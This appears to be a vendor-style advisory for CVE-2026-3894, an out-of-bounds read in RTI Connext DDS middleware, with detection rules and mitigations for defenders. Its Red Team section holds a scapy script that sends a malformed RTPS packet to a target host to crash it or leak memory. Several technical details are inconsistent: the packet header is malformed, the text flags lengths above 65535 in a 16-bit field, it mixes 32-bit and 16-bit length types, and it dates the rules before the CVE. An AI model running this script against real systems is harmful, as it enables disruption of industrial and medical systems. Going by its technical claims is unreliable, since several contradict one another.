CVE-2026-3894

Executive Summary

CVE-2026-3894 is an Out-of-Bounds Read vulnerability in RTI Connext Professional, a widely used Data Distribution Service (DDS) middleware for real-time systems. The flaw resides in the Core Libraries and allows an attacker to trigger an overread of buffers, potentially leading to information disclosure or denial of service. The vulnerability affects multiple version branches spanning from 5.0.0 up to 7.7.0 (excluding patched versions). No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. However, given the critical role of Connext in industrial, medical, and defense systems, the risk of targeted attacks remains significant.

Supply Chain & Package Security

RTI Connext Professional is a proprietary commercial product, not distributed via public package registries (NPM, PyPI, Go, Ruby). Therefore, supply chain risks are limited to direct vendor distribution channels. Organizations should verify the integrity of downloaded binaries using vendor-provided checksums and digital signatures.

CVSS Breakdown & Threat Level

The CVSS vector is not provided by NVD. Based on the vulnerability type (Out-of-Bounds Read) and the typical network accessibility of DDS middleware, a reasonable estimated vector is:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

• Attack Vector (AV): Network – DDS typically operates over multicast/unicast networks.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – Unauthenticated network access.
• User Interaction (UI): None – No user action needed.
• Scope (S): Unchanged – Exploitation does not affect other components.
• Confidentiality (C): High – Memory read can leak sensitive data.
• Integrity (I): None – No write capability.
• Availability (A): High – Overread can cause crashes or denial of service.

Estimated CVSS Score: 9.1 (Critical)

Deep Dive & Mechanics

The vulnerability is an Out-of-Bounds Read (CWE-125) in the Core Libraries of RTI Connext Professional. The DDS protocol relies on serialized data samples transmitted over the network. When parsing incoming data, the library fails to properly validate buffer boundaries, allowing an attacker to craft a malicious DDS message that causes the parser to read beyond the allocated buffer.

Root Cause: Insufficient bounds checking in the deserialization routine for RTPS (Real-Time Publish-Subscribe) protocol messages. Specifically, when processing submessage lengths or inline QoS parameters, the code does not verify that the requested read offset remains within the received packet buffer.

Attack Vector: An unauthenticated attacker on the same network segment (or able to spoof DDS discovery traffic) sends a specially crafted RTPS packet to a vulnerable Connext participant. The packet contains a submessage with a manipulated length field that points beyond the actual data buffer.

Impact:

• Information Disclosure: The overread may expose adjacent memory contents, including cryptographic keys, session tokens, or other sensitive data.
• Denial of Service: The out-of-bounds read can cause a segmentation fault or infinite loop, crashing the Connext process.

Vulnerable vs. Patched Code

The exact code fix is not publicly available due to the proprietary nature of RTI Connext. However, based on the CWE-125 pattern, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void deserialize_submessage(uint8_t *buffer, uint32_t length) {
    uint32_t submsg_len = *(uint32_t*)(buffer + 4);
    // No check if submsg_len > length - 8
    uint8_t *payload = buffer + 8;
    process_payload(payload, submsg_len); // Overread possible
}

The patched version would include a bounds check:

// Patched pseudo-code
void deserialize_submessage(uint8_t *buffer, uint32_t length) {
    if (length < 8) return; // Minimum header size
    uint32_t submsg_len = *(uint32_t*)(buffer + 4);
    if (submsg_len > length - 8) return; // Bounds check
    uint8_t *payload = buffer + 8;
    process_payload(payload, submsg_len);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x with scapy library
• Network access to a vulnerable Connext participant (e.g., on a local LAN)
• Knowledge of the target's DDS domain ID and topic names (can be discovered via passive sniffing)

Exploitation Steps:

1. Discover Target: Use Wireshark or tcpdump to capture RTPS discovery traffic. Identify the participant's IP and port.

2. Craft Malicious RTPS Packet: Create a packet with an oversized submessage length.

from scapy.all import *
import struct

# RTPS header (simplified)
rtps_header = b'\x52\x54\x50\x53'  # "RTPS"
rtps_header += struct.pack('!H', 0x0100)  # version
rtps_header += struct.pack('!I', 0x00000001)  # vendor ID

# Malicious submessage: set length to 0xFFFF (max uint16)
submsg_id = b'\x15'  # DATA submessage
submsg_flags = b'\x01'  # little-endian
submsg_length = struct.pack('<H', 0xFFFF)  # Overread trigger
malicious_payload = b'A' * 100  # Actual data is smaller

packet = rtps_header + submsg_id + submsg_flags + submsg_length + malicious_payload

# Send via UDP to target
send(IP(dst="192.168.1.100")/UDP(sport=7400, dport=7400)/Raw(load=packet))

3. Observe Behavior: Monitor the target process for crashes or memory dumps. Use gdb to inspect core dumps for leaked data.

Blue Team (Defensive)

Detection:

• Monitor for RTPS packets with abnormally large submessage lengths (e.g., > 65535 bytes).
• Use network intrusion detection systems (NIDS) to flag malformed DDS packets.

Honeypot Setup:

• Deploy a decoy Connext participant on a separate VLAN.
• Log all incoming RTPS traffic for analysis.
• Alert on any packet that triggers a segmentation fault in the honeypot.

Mitigation:

• Immediately upgrade to patched versions (7.7.0, 7.3.1.3, or later).
• If patching is delayed, restrict network access to Connext participants using firewall rules (allow only trusted IPs).
• Enable DDS security plugins (RTI Security Plugins) to authenticate and encrypt traffic.

Indicators of Compromise (IOCs)

• Network IOCs:

  • UDP packets to/from port 7400 (default RTPS) with submessage length fields > 65535.
  • Repeated RTPS discovery packets from a single source with malformed submessages.
  • Unusual process crashes in rtiddsspy, rti_connector, or custom Connext applications.

• Host IOCs:

  • Core dump files in /var/crash/ or application-specific directories.
  • Log entries containing "segmentation fault" or "SIGSEGV" in Connext application logs.
  • Memory dumps showing large contiguous blocks of 'A' characters (0x41).

• File IOCs:

  • Modified configuration files (USER_QOS_PROFILES.xml, NDDS_DISCOVERY_PEERS) that introduce untrusted endpoints.

Detection Engineering

YARA Rule

rule CVE_2026_3894_RTPS_Overread {
    meta:
        description = "Detects malformed RTPS packets with oversized submessage length"
        author = "Valters IT"
        date = "2025-04-14"
        cve = "CVE-2026-3894"
    strings:
        $rtps_magic = { 52 54 50 53 }  // "RTPS"
        $submsg_data = { 15 }          // DATA submessage ID
        $large_length = { FF FF }      // 0xFFFF length
    condition:
        $rtps_magic at 0 and $submsg_data and $large_length
}

Sigma Rule

title: CVE-2026-3894 RTPS Out-of-Bounds Read Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects network packets indicating exploitation of CVE-2026-3894
author: Valters IT
date: 2025-04-14
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        app_protocol: rtps
        rtps.submessage_length: 65535
    condition: selection
falsepositives:
    - Legitimate DDS applications using maximum submessage size (unlikely)
level: critical

Suricata Rule

alert udp any any -> any 7400 (msg:"CVE-2026-3894 RTPS Out-of-Bounds Read Attempt"; content:"|52 54 50 53|"; offset:0; depth:4; content:"|15|"; within:4; content:"|FF FF|"; distance:2; within:2; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to RTI Connext Professional 7.7.0, 7.3.1.3, or apply vendor patches for earlier branches (6.1., 6.0., 5.3., 5.2.). Contact RTI support for specific patch versions.
2. Network Segmentation: Isolate Connext participants on a dedicated VLAN with strict firewall rules.
3. Enable DDS Security: Activate RTI Security Plugins to enforce authentication, encryption, and access control.

Long-Term Measures:

• Implement continuous monitoring for anomalous RTPS traffic.
• Conduct regular penetration testing of DDS infrastructure.
• Subscribe to RTI security advisories for early notification of vulnerabilities.

Workaround (if patching is delayed):

• Use a network-based IPS to drop packets with submessage lengths exceeding 65535 bytes.
• Reduce the maximum allowed submessage size in QoS profiles (if supported by the version).

Valters IT